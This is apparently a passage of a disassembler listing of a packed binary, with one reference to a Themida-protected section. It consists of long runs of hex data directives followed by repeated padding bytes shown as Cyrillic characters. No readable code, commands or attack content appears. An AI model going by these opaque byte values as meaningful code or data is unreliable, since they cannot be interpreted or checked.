0C28E4125h dd 0F9F380A5h, 13E9h, 0C6CC9D00h, 856F6C4Ah, 0A8C5525Ah dd 4F764AD0h, 925D145Ah, 0D7DCB966h, 0E9C78B66h, 0Eh, 3CF005E4h dd 1DF76863h, 0DE91846Ah, 0B966ADB3h, 0AE8802Fh, 5E000000h dd 0B300D7B9h, 6762ED2Fh, 0A7F2812Ch, 5949EE00h, 28A0Fh dd 0FE8B0000h, 0B70FBEB4h, 13E8CAh, 5B090000h, 99E32D10h dd 18636C9Eh, 2F9F3896h, 0FF405BD9h, 0C4BF6640h, 7E85AE0h dd 38000000h, 0F41753FBh, 59F8CBF1h, 0FC9BF0Fh, 0E381DEBFh dd 5CB33E2h, 0EE9h, 58A12000h, 81270C4Fh, 9791EFA1h, 0F306183h dd 1B83h, 14E96000h, 3000000h, 7EAB8EA8h, 0BF42E643h, 0ED778FBAh dd 0E66D5BAh, 614CE7EBh, 0C4C46BB8h, 9E904h, 0A67E0000h dd 0CAB14C88h, 0E9DE942Bh, 7, 0BC2FFC02h, 0E9E01EE3h, 0Ah dd 8A851Fh, 0BEFAC4ACh, 810FFB7Bh, 3, 60BAE380h, 2860Fh dd 61600000h, 9E8h, 0A4F7A900h, 507CB6D0h, 14E9802Fh, 54000000h dd 217213Bh, 0BD3BD05Fh, 28DD284h, 0E6038D2Dh, 58D62682h dd 0DAB70F61h, 2810Fh, 0B2B30000h, 5A21B653h, 0DDDA8166h dd 0C6B70FDFh, 0C8A0Fh, 890F0000h, 6, 880Fh, 10E80000h dd 0B1000000h, 0C6ECC95Fh, 84722EEAh, 0F4CBE059h, 0F8A1B185h dd 9E95Ah, 7F660000h, 11C49959h, 6693AEECh, 3EBFF38Bh dd 0E9323B3Ah, 13h, 2A20AC9Ch, 0A33AA132h, 0D25F34E7h dd 3382A06h, 8B9597E3h, 0D6B70FF0h, 0DE8F5h, 281B0000h dd 0C641AD04h, 0C1BAF195h, 0BBA420E6h, 28610E20h, 6045B05Ah dd 10E9h, 0EBB41200h, 29B19D05h, 0F3674F39h, 679A75Dh dd 0E861F547h, 8, 533EE39Ch, 0AA30D6E8h, 61616060h, 0BF0FF95Eh dd 0BB66F8F6h, 880FB4A2h, 8, 83D78152h, 5F72D2B5h, 6800Fh dd 870F0000h, 0 dd 7C62E181h, 820F6AA7h, 0 dd 6800Fh, 0B1600000h, 615F562Ch, 667BBE66h, 1EC3C6B8h dd 5830F40h, 66000000h, 4184D881h, 4A50C781h, 8166135Ch dd 8085A0E3h, 8166CCC6h, 660588C0h, 5C83EF81h, 3840Fh dd 0CC800000h, 0AE84Bh, 0DD480000h, 2AAA30Fh, 4DA06374h dd 58B0Fh, 1BB90000h, 5853287Ah, 52C9B70Fh, 0BE9h, 0B9F94100h dd 554254A8h, 9E4A08ADh, 53BB665Bh, 3880F2Bh, 80000000h dd 8AF8DBC4h, 0FDE781C2h, 0B221BCB1h, 12E876h, 9ED10000h dd 80972854h, 72A9C942h, 751C645h, 9D8A60FBh, 0FD1B35Fh dd 58Eh, 2B72B800h, 840F607Bh, 3, 66FB8B66h, 34D2CE81h dd 38A0Fh, 0F7800000h, 0EDE18055h, 0FAB70F60h, 5F585757h dd 0CF8B6661h, 8800Fh, 810F0000h, 2, 0E9F803B3h, 5, 62563BD3h dd 7E9C2h, 995A0000h, 8E34D847h, 0FEC7817Fh, 6641B342h dd 0B925A7BAh, 6A57C49Bh, 7D03D381h, 8C0F033Ch, 7, 0C1816660h dd 6661A696h, 0BB2CC181h, 6E9h, 0A560DC00h, 0F288822h dd 128Ch, 0DE900h, 27E0000h, 8FB8F400h, 3B3DBA85h, 66F02428h dd 50CF281h, 553E08BBh, 14E838h, 30930000h, 8B0DBCC1h dd 0E0B3C3BAh, 0A1C94AE5h, 95741C27h, 14E96797h, 0F5000000h dd 0F651A705h, 0E742FEEAh, 50E7FF7Dh, 0D97430A0h, 5E2A43A2h dd 800Fh, 7BB20000h, 0FE9h, 8FA60F00h, 0EB332AA3h, 90852DCAh dd 0D3B8F806h, 4800Fh, 0B9660000h, 800FA4C1h, 14h, 0FE9h dd 70971800h, 1624960Ch, 5762FD1Eh, 718A5C75h, 0CE9h, 0E8BA0E00h dd 3E3EB4B7h, 0B352D000h, 11E9E1h, 0C1A80000h, 0E53579C4h dd 0D023CB8Dh, 0DF49837Fh, 60E92FEFh, 0F48AC68Bh, 93BF6661h dd 0C68166E7h, 0FFCE016h, 38Ch, 82DE8000h, 0F28BC18Bh dd 817AED80h, 0C61E2ECFh, 0E8A3B239h, 0Fh, 563701C7h, 48F30486h dd 0CA461D7Bh, 8089ECBAh, 0E85BD9C1h, 13h, 0D2B47B31h dd 1A2B305Dh, 75854021h, 0E74E0502h, 801DC679h, 0B659CDD9h dd 0FE927h, 7D950000h, 0BD588FD5h, 0A58BA6D3h, 0A770987Bh dd 13E8D2h, 0A87C0000h, 626D8621h, 0FD735DE7h, 44128B25h dd 167CDE6h, 97BF66D7h, 8B665B23h, 53D3BAF7h, 820F12DEh dd 0Ah, 4860Fh, 0BE660000h, 0BE66CB8Ch, 800F4552h, 2, 5E918B0h dd 69000000h, 0F5AC3F82h, 53E38166h, 0FFB70F03h, 506232BAh dd 0FEB96628h, 0DF816671h, 0FC53CC57h, 11E858h, 0A84E0000h dd 0A289B513h, 5D117713h, 0BF0AB38Dh, 0BAC512B2h, 33DA05A3h dd 0F281F95Bh, 762493C0h, 10E939B3h, 10000000h, 233B6E9Dh dd 25AC0F00h, 7DFA9DC4h, 80547894h, 0D18B19C9h, 5E960h dd 83140000h, 0F393B0Ch, 83h, 8F0F6100h, 15h, 10E9h, 6CD62C00h dd 178C555Bh, 0C13124C7h, 5E4AC833h, 8139B660h, 76486EC0h dd 8F0FF81Ah, 19h, 0DE960h, 4D7B0000h, 0DEB83DF9h, 40EBF114h dd 66AA096Fh, 8BCBD181h, 7DDF8061h, 66F88B66h, 0EFE5DF81h dd 0FCEA8166h, 7E845h, 0D4010000h, 4E8F9BC7h, 38C0F09h dd 80000000h, 605E56EEh, 61DAB70Fh, 8A0FF860h, 6, 840Fh dd 0BB610000h, 2881B2EEh, 16820Fh, 0AE80000h, 0CC000000h dd 27CF5B1Eh, 0EC42F5EAh, 0AED381F1h, 597AC5B3h, 28CF8166h dd 0D2C9B896h, 8BFC7B0Dh, 0E38166CBh, 8B666C61h, 0BF0F50DAh dd 0D6815BCFh, 4983EEAAh, 0FE66B0BBh, 0F98B6012h, 51F861F5h dd 0CEBF0F60h, 81665E61h, 66FC71C6h, 3BF1DB81h, 12E8h dd 0DA7E9000h, 9E8F6B4Ch, 0B256CB8Ah, 87D7C663h, 8088571Fh dd 0BB58ECDAh, 6686107Eh, 0E55D63BFh, 0D88B667Ah, 9E8h dd 1E4A8800h, 15483DC9h, 0BF0F1972h, 0FF859C2h, 0E980D1BFh dd 0DA81661Bh, 0FF99C05h, 28Dh, 0F9D98B00h, 0BBCA8166h dd 0FCF0B624h, 5E9h, 0A7E4F300h, 8E0F1D96h, 5, 6841ABAh dd 0D6B70F02h, 66F18B66h, 80020CBAh, 0EE9DEC8h, 0A0000000h dd 7D014D13h, 918307E9h, 62BEA343h, 99BB661Ah, 6BF2817Dh dd 66074ED0h, 65B0C281h, 0E84E83B9h, 8B66600Ah, 816660F8h dd 0E945CEE8h, 12h, 2BD2E2F1h, 1050777Ch, 0B4EEEE48h, 4BC96407h dd 61618B3Eh, 3972B966h, 4C25D681h, 1DBF775Eh, 0E91D70D7h dd 5, 31D7E0F5h, 14800F32h, 50000000h, 0DE9h, 98CC4F00h dd 0E492422Bh, 0BD38D464h, 665893F3h, 60FCF28Bh, 5ED78166h dd 26BE6699h, 0DCBA6107h, 0F195C9Ch, 18Dh, 8A0FF900h, 3 dd 0FC30C880h, 12E9h, 35F61200h, 0D8D54C4Ch, 0AD53B9D2h dd 0CE5304E6h, 0FD00F74h, 1889h, 10E85600h, 8B000000h dd 4CB56CB8h, 7817E7CCh, 3750B4C1h, 58C6CDDFh, 0DA816659h dd 0E95661BEh, 5, 17ABAD36h, 0EE95F1Ch, 74000000h, 0E7C47750h dd 0D3C0BDDFh, 0CD55625Bh, 10E9D4h, 6DA20000h, 0F032F306h dd 55D9A1C3h, 77C908F2h, 8166E577h, 0E8134DF3h, 9, 47CB0113h dd 6919466Ah, 68E0F09h, 81000000h, 59F311C7h, 860F5E77h dd 2, 0F5073B1h, 0E8Ah, 9E900h, 0F6BA0000h, 44BE2D0Dh dd 5B2AFE02h, 80D98BF9h, 0DE9FACEh, 2000000h, 0FFE3EBAAh dd 2624E6CDh, 92444E10h, 10E9h, 1D368000h, 0DC30D813h dd 0DFE9A5E1h, 6CAAAD4Fh, 0BAB5B6CFh, 63D5B2E0h, 38F0Fh dd 0BF0F0000h, 68A0FFEh, 81000000h, 1FB0B3CAh, 8E955h dd 0C58C0000h, 3B3C6822h, 7E9F889h, 0E8000000h, 0CCB0665Fh dd 81666A0Bh, 0FCA52C6h, 0E7BFCBBFh, 0E91374C7h, 0Dh, 0CAE13B14h dd 0DAC177Bh, 4E0A607Bh, 13E81Eh, 0C55C0000h, 0B82F18F2h dd 4B3D8A00h, 39D3BE22h, 9E226BC1h, 585F5067h, 0AE8h, 7DD83600h dd 1FDE45BAh, 0E8536164h, 11h, 0A0FF60B6h, 0FE6FDFC9h dd 734DA50Dh, 0D650AD6Dh, 5B5A53A8h, 571AB85Bh, 820F2599h dd 0 dd 0CE9FA8Bh, 14000000h, 0A2A64858h, 19C295Ah, 6677E13Eh dd 0C4EAE681h, 0C204BBF5h, 12E8040Ah, 68000000h, 8DE684C1h dd 0AFE59F4Eh, 0EE229B7Ch, 0FC7EDAC0h, 11E98Bh, 1DEB0000h dd 0B651E7B6h, 21C14FC3h, 22632EDDh, 5ED37626h, 79C9BB66h dd 0C381D18Bh, 7BA44832h, 58D0Fh, 81660000h, 0E9E305E1h dd 0Ah, 205C6BCBh, 3CA15C3Ah, 12E97922h, 45000000h, 0A12D6E57h dd 46414A3h, 0E81427A9h, 4FCE1C81h, 7E822h, 0EC3F0000h dd 84429DDCh, 665EF929h, 66FCC88Bh, 890FDA8Bh, 5, 0CEF28060h dd 0F8E78A61h, 8D0Fh, 0B8660000h, 8D0FD4C7h, 3, 0E895F480h dd 11h, 79154909h, 3DC8AC04h, 5B6D49B1h, 0BC91F2B4h, 8A0F5E7Dh dd 10h, 0BE9h, 0CC1B6C00h, 42E7D104h, 0B100E5F6h, 80D9B70Fh dd 81F520CDh, 0E3E966EEh, 6CB86662h, 48C0F51h, 66000000h dd 667D52B9h, 8166DF8Bh, 66D752E3h, 8BCED4BAh, 0E9F28BC7h dd 0Eh, 828D5252h, 0EFBF5DFBh, 5885250Fh, 90BBE7B3h, 665A86CCh dd 5218AABBh, 13E9h, 9608F900h, 79917928h, 82975AB8h, 0A3867FADh dd 0EA2C7F53h, 21C9815Fh, 0BE539AD5h, 14C8F603h, 0B1EB8166h dd 0FF9F92Bh, 14E9F1B7h, 9B000000h, 36905507h, 6F8603EDh dd 0A91FF9FFh, 0D1C6C5F8h, 803DE431h, 8B6617E2h, 0CAB70FCEh dd 13E9h, 0BFB4C600h, 3DFF93BCh, 0A0849B6Eh, 0B412DBA4h dd 0B19D05EBh, 4598E8BAh, 6660F945h, 0F4C6ABFh, 8161D6BFh dd 82A225CBh, 6BCB806Bh, 28C0Fh, 0CFB40000h, 6EF38166h dd 0D78166F3h, 0E9527211h, 5, 0DC86DEDAh, 5E565FFFh, 0CC8BA66h dd 4880Fh, 0BB660000h, 0F98B0785h, 9E8h, 0B3B85800h, 1A64C247h dd 0AE84184h, 6A000000h, 43D077FCh, 69540510h, 8F0FBEh dd 5A000000h, 0E5B0FC59h, 52F98BFCh, 0AE8h, 0C691BC00h dd 3481D0E5h, 666F58C1h, 5F5BC88Bh, 218F0Fh, 0E8600000h dd 13h, 0CAFDF6EAh, 3DDDD60Fh, 0E3C92CB4h, 59F2EC95h, 599537D6h dd 8F0Fh, 66610000h, 4F1DC181h, 81FB8B66h, 76F7D2C7h, 8166F56Ah dd 801E52F7h, 8E9FFC0h, 84000000h, 796D2728h, 0E95D56ECh dd 8, 91199EFCh, 83C90C99h, 222CBB66h, 0F52861B9h, 72F3801Ch dd 0D88166F5h, 0CE9A0EFh, 0CC000000h, 32B8A180h, 914A1D17h dd 60DA9DE4h, 61FCC18Bh, 0E409DF81h, 6E90F92h, 0BF000000h dd 0A71D6213h, 0E081F8B9h, 6F6120A2h, 80DE8B66h, 81509ECBh dd 0C7F869D9h, 0B70F5E5Bh, 605A53D1h, 66CABF0Fh, 61B3BEB9h dd 6EEED281h, 870F4808h, 4, 59FE8B51h, 0FE9h, 376B7400h dd 4ABBB890h, 5ECF9CCFh, 1A9559D3h, 81C68B66h, 663F6DE8h dd 0C68B667Dh, 48A0Fh, 0BB660000h, 5E90F83h, 0BA000000h dd 0FEA7FCBAh, 5BD08166h, 8166504Ch, 5E5485C7h, 0DE8B66F8h dd 17830Fh, 0E9510000h, 10h, 0F6FACCD1h, 0C8FA464Dh, 0AB94660Bh dd 78596C3Ch, 0F28B6658h, 8BC3B70Fh, 816660C8h, 818A7CF2h dd 9E2C91D3h, 6050617Fh, 9C4AFCBFh, 5F61F912h, 0F56F28Bh dd 18Bh, 0F95BF800h, 10860Fh, 0BE90000h, 51000000h, 48189567h dd 0BCA309E6h, 0CE8F717h, 0A7000000h, 338A5633h, 35CFD9CBh dd 5F6FBC5Bh, 4860Fh, 0B8660000h, 8C0F42C7h, 6, 0FC49EA81h dd 8C0F0E5Eh, 8, 2810Fh, 61600000h, 7B1D6FBBh, 77F5800Fh dd 7E956h, 0B9C90000h, 3ED73758h, 8B0F597Fh, 5, 88EB8166h dd 12E85Ch, 54B90000h, 80BD1F2Dh, 519AA68h, 6E119693h dd 0EDC05747h, 850F58F8h, 2, 0B70FC18Bh, 6870FF1h, 81000000h dd 365361CBh, 18A0F53h, 0F8000000h, 8073F580h, 0F5136C3h dd 86h, 0BF0F5B00h, 3830FC2h, 66000000h, 0BFBBD88Bh, 810588D9h dd 5BB5C6C2h, 23BB667Bh, 0DE893h, 0B78B0000h, 0EA998701h dd 0E4D9DE77h, 58EECC25h, 60C0B70Fh, 61F5F560h, 0EE9h dd 0CB0D7C00h, 520F86A3h, 978CD528h, 61485814h, 5810Fh dd 8BB0000h, 8044292Ah, 0B96654D5h, 0BE66D5A8h, 8B60594Eh dd 1890FDFh, 0FC000000h, 1A5CBB61h, 0BF0F79A2h, 8B66F5CFh dd 81E78AF9h, 0B2FC7EC1h, 10E855h, 0CF5D0000h, 61A25769h dd 0F44F30E1h, 8B3FB7A9h, 0CA81230Ch, 7AD800A3h, 0AE959h dd 282C0000h, 163AF23Fh, 0D0ABD8E4h, 8E9h, 0A159B700h dd 0D2D8217h, 235BE52h, 46B859D0h, 663694BFh, 60E3D981h dd 81F08B66h, 496A4FDEh, 6830F43h, 56000000h, 611B966h dd 0E8A9BE5Eh, 0F1810114h, 7BF5777Bh, 28C0Fh, 0C38B0000h dd 9E9F5h, 0BDB90000h, 1CFD288Ah, 8BF24D6Ah, 0C38160DEh dd 100B09B3h, 9A2193BBh, 10E86141h, 0BB000000h, 0F7C5CBEFh dd 255CDEF0h, 0B67E54B4h, 0F790802h, 8Fh, 11E85E00h, 46000000h dd 44F6A37Bh, 341E4F7Ah, 8DFCC24h, 0F4B10E0Ch, 0CE9h, 0C4AED700h dd 688288ACh, 4966169Ch, 60605984h, 61F98B66h, 0EE861h dd 0BDD90000h, 7DAA246Ah, 0DFD97B44h, 5DB1E9FFh, 2526B966h dd 13E95Bh, 87B90000h, 398CF701h, 7E30CA14h, 79DBE17Ah dd 0ADE21A12h, 0F27B15Fh, 1388h, 0EE900h, 7F820000h, 5F2E4145h dd 61D8CA2Ch, 9E772A7Fh, 72B1CF8Bh, 7A16BB60h, 0F6107DBh dd 388h, 0C3B70F00h, 4585D681h, 0BB665948h, 860F731Bh dd 0 dd 4800FF5h, 66000000h, 0E9216FBAh, 11h, 0C3BA8B0Dh, 4AE5E0B3h dd 1C27A1C9h, 67979574h, 0DBB70F0Bh, 4F11EB81h, 0E8805D92h dd 0C6B70FC2h, 5DE78160h, 800F659Bh, 0F6178D7h, 0D18BC2B7h dd 7E85360h, 45000000h, 0B6FC9B06h, 5E5852C0h, 0CEB8BB61h dd 800F67E1h, 0Bh, 5830Fh, 51B90000h, 0BE2CF418h, 5CA0D5A0h dd 0EFFECA81h, 850F1825h, 5, 0E6C18166h, 9E97Fh, 97A90000h dd 0BE4570Bh, 0E9036562h, 5, 0ECD80FECh, 6E980A7h, 890FF78Bh dd 1, 3DB160FCh, 6820Fh, 8D0F0000h, 0 dd 0CE85361h, 28000000h, 0CD60C30h, 0D0E3AEBCh, 0B8FE38BFh dd 602D31C8h, 7E85B59h, 0B9000000h, 0E2CE9973h, 0B70FA659h dd 0DDB65FDBh, 0FE9h, 0B9E93700h, 7BF01AB8h, 10747925h dd 0F05CD6Ch, 0E96057F9h, 13h, 0C255A912h, 571CF8DAh, 74B007Fh dd 2D21B105h, 0B8DAF46Ah, 24DC0788h, 66F95A61h, 0C76FF181h dd 6B15EBBAh, 0FDFB21Fh, 38Eh, 0B3CD8000h, 0AE9h, 859BB500h dd 67AB1D3Eh, 807E6F5Fh, 0ACB000CFh, 48D0F60h, 66000000h dd 8B7078BAh, 0B86661CEh, 0FF9DF10h, 0E8Bh, 9E900h, 0DCD0000h dd 3974D0F2h, 0E9F616ECh, 6, 77337646h, 13E9D231h, 0DB000000h dd 0B839E81Ch, 0E11BAF9Ah, 0D8DCF92Ah, 62939133h, 0EB81789Dh dd 7145094Ch, 8A5FFC53h, 0EE8166EBh, 0F1B376B9h, 60D88B66h dd 81CDD480h, 8A7CE1CAh, 0CE8B614Bh, 0DE9h, 0EC7E4A00h dd 48D83B0Dh, 3F93FC26h, 0B8669D77h, 5A57B750h, 0F6019B0h dd 800FF0BFh, 6, 830Fh, 0B9610000h, 5E480435h, 8166F1B4h dd 0FC59C5CAh, 48DEBB66h, 0C865B966h, 0D8816656h, 8A5AEB68h dd 38B0FCAh, 0F000000h, 8BF9D6BFh, 585750DAh, 168A0F58h dd 0F000000h, 1082h, 0AE800h, 9D920000h, 6290A168h, 1DE411ECh dd 0D0B70F5Bh, 7E9h, 0F6F4A600h, 30D0CE97h, 0F1B50B8h dd 0C3B70F5Fh, 0F78B6657h, 14E859h, 52990000h, 0AD5EC1C2h dd 0BBF7C603h, 34A6B2EBh, 0F17A48Ch, 8E9EB5Dh, 28000000h dd 4690456Ch, 59D65607h, 0C6D026BBh, 0FBB70F67h, 0D98B33B5h dd 8E9h, 12B0EC00h, 4C0B3ECBh, 815EB5CAh, 6060CCE8h, 19890F6Ch dd 0E9000000h, 14h, 0ED5DB1E9h, 35A43AD8h, 1C3207A2h, 9AE9A691h dd 2AF8F8C6h, 0EBDB13BFh, 7E9F818h, 4000000h, 0CDBE742Fh dd 6660272Fh, 5EC1F281h, 9100BE61h, 0DA807F3Eh, 0B8D88B02h dd 3FC69A41h, 0EE8h, 0F937EA00h, 78E96427h, 51DD6253h dd 0B056538Ch, 81665926h, 508D02D3h, 59585253h, 0F850F858h dd 3840F5Eh, 57000000h, 840F58FCh, 0Bh, 0F3BB6660h, 0F28166EFh dd 0B861A09Ah, 58401356h, 5A505056h, 0C4B55B5Eh, 0BE9h dd 9F81BD00h, 5C23F73Eh, 4F2AA7B8h, 1800F60h, 0F8000000h dd 7E9h, 0B58ECA00h, 0CDE575A6h, 0C88B6661h, 0FE447BEh dd 0AE95766h, 9A000000h, 1C8BAF8Ah, 1633E7B8h, 816659A3h dd 0B4D11AEEh, 9DBBF9A0h, 0F6B6B8Dh, 84h, 58F0F00h, 66000000h dd 0FDDDF681h, 0E9F6F180h, 7, 0B9A3F4F9h, 60EED422h, 9EB461FCh dd 1FB1C981h, 0F28B4434h, 61D78B60h, 14E950h, 0EF920000h dd 967240B8h, 0DAC97532h, 0F35F1B3Dh, 0FF0FE9B5h, 665E1959h dd 0E9866CBBh, 11h, 5DA64D56h, 0B2A909BCh, 4DC0776Ch, 6C08BFE0h dd 9E925h, 2FCC0000h, 0A95FD18Ch, 0FA13838h, 58Dh, 9CA4BF00h dd 0E9507A10h, 0Bh, 26EA8E39h, 11FEAB0Eh, 5F2DDD86h, 0AE860h dd 1CE10000h, 1FA9CC2Eh, 18E1F959h, 71A8BE66h, 0E681665Eh dd 0F61A1DBh, 8160F0B7h, 0B10A12D8h, 0B260614Fh, 2850F70h dd 60000000h, 890F6161h, 0 dd 66D2B70Fh, 3043E681h, 800Fh, 0E8560000h, 0Dh, 74245C4Fh dd 0F9EF591Dh, 96A80AFh, 5E85Fh, 62160000h, 582FFC02h dd 0CE9585Ah, 93000000h, 7119BEA8h, 8E8C9684h, 0FA40867h dd 8Ah, 0F0816600h, 9E9DB64h, 0DC000000h, 0D221BCB5h, 0E87B5528h dd 0E28ADE8Bh, 0DF8ACF81h, 8B663E96h, 0A4E280D1h, 65C18166h dd 8BF6B21Fh, 8E9F3h, 0EC0000h, 0A23C21BEh, 0EFB19908h dd 44E0BF66h, 8E9h, 75C2BE00h, 0C90BC1D9h, 13E900h, 0A2440000h dd 0D6BA5400h, 0CB83E112h, 6ABCE889h, 3D8DEFEDh, 0BBE88A64h dd 77E011FFh, 0EA816660h, 6661C8A6h, 0C45E781h, 9E9h, 6A35DC00h dd 95F859ECh, 0FA8B12B3h, 0B890FF5h, 0E9000000h, 6, 3A6EDA50h dd 0F60299Ah, 8Ah, 10E86100h, 96000000h, 0C3C0CD89h, 0CBB28E71h dd 1B9E2E9Eh, 0E9182AE6h, 0Eh, 0B781A549h, 0AFCF73A7h dd 0CA892D06h, 0F5ADF13h, 0BF57DEB7h, 0CF15399h, 0BE959h dd 45C90000h, 82A4192Bh, 3C46676Ch, 0EF8166F9h, 13E9C2B3h dd 38000000h, 0F1C1FFC7h, 7EBBFC0Eh, 768BF9D3h, 8C7435AEh dd 8B663C64h, 810FC2h, 57000000h, 8BF28B59h, 12E8C1h, 3C600000h dd 0D38E80F3h, 475F0F49h, 2D1380CEh, 377FA474h, 9E95Fh dd 94640000h, 95C06F41h, 507B0BCBh, 0B2E18060h, 61F28B66h dd 0EE95Eh, 0FB1B0000h, 0F17B5C14h, 71FE0BA0h, 0C4614F63h dd 66B3D180h, 0B54CCE81h, 22E32DBFh, 12E825h, 0DFBF0000h dd 37ACE145h, 8973291Bh, 9FB02FC0h, 0C2166017h, 805AC88Bh dd 0FE9C2C8h, 0EE000000h, 516FD868h, 5211528Eh, 0FA5178Ah dd 8E0FFA7Bh, 1Ch, 16810Fh, 11E90000h, 1B000000h, 0BFD691ACh dd 7D0BBEEh, 356F1C70h, 778B887Bh, 8E9h, 0F1F41700h, 30A457CBh dd 0E2CF8048h, 0BEF7BF0Fh, 55C7F635h, 7870Fh, 51600000h dd 0D38B665Eh, 5830F61h, 0BE000000h, 5B281FD6h, 48E0Fh dd 0BE660000h, 9E96B76h, 3C000000h, 0A8228547h, 0C80DF317h dd 14E8h, 268E3D00h, 94C1D82Ah, 0CF6E292Ch, 0EC24D470h dd 207E3653h, 8E90Ch, 566C0000h, 6A46BDDDh, 0F5B885Fh dd 158Eh, 0F850F00h, 0E9000000h, 0Ah, 2CB156B8h, 25C0DF14h dd 0CF8B6690h, 11E9h, 12E65300h, 2B465C91h, 0D50C45A0h dd 4D9E8818h, 8166C15Eh, 66B609CAh, 880FDF8Bh, 24h, 11E8h dd 35E67C00h, 199CA1BCh, 0B0CA94F7h, 0C07D0E20h, 8E9A393h dd 0F0000000h, 0EED8B1AAh, 5BE3A87Eh, 9E9h, 1CE8E900h dd 2D89B667h, 0AE98D02h, 7A000000h, 0DD303F76h, 57AEC827h dd 0B2D38B11h, 9B5AB928h, 81663F82h, 60DAE6EAh, 0DA80C38Bh dd 0BB6661B0h, 0EE813066h, 88EBC54h, 7E9h, 5C10C400h, 0C7F99717h dd 0D78B5650h, 8B0F5A59h, 3, 0F9F88B66h, 8E960h, 433E0000h dd 86CEB526h, 8061774Ch, 0BF0FC3C5h, 816651CFh, 5FCCA9D7h dd 14860FF8h, 0F000000h, 0E82h, 9E900h, 43B30000h, 0F58BD685h dd 661255F9h, 0F281F08Bh, 573C52C1h, 330BBB66h, 666160F5h dd 0FCDD4B8h, 588h, 0CA816600h, 0BF2C7130h, 570h dup(0BF2CF536h) dd 0F483F536h, 6Bh dup(0F483AF5Fh), 2FA9D75Fh, 1AAh dup(2FA9D4E4h) dd 7CA9D4E4h, 58h dup(7CAFC745h), 66321A45h, 2B0h dup(66321AFDh) dd 0CC321AFDh, 481h dup(0CCCCCCCCh) asc_5BF680 db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' ; DATA XREF: Themida_:0055D70Co db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 